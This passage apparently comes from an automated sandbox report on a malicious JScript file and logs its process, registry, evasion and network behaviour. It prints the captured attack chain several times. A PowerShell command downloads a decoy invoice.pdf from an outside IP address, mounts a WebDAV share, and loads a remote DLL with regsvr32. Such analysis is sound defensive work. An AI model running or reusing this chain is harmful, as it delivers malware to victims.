Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2368.js.csv");ITextStream.WriteLine(" entry:7828 f:dezguk");ITextStream.WriteLine(" exec:2 f:dezguk");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4196			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5669			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8064	Thread sleep count: 4196 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8064	Thread sleep count: 5669 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8152	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8168	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7668	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3776	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1490200410.00000276D5A4E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1490200410.00000276D59E8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2719778529.0000022424C57000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2718683874.000002241F42B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39891457824619.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
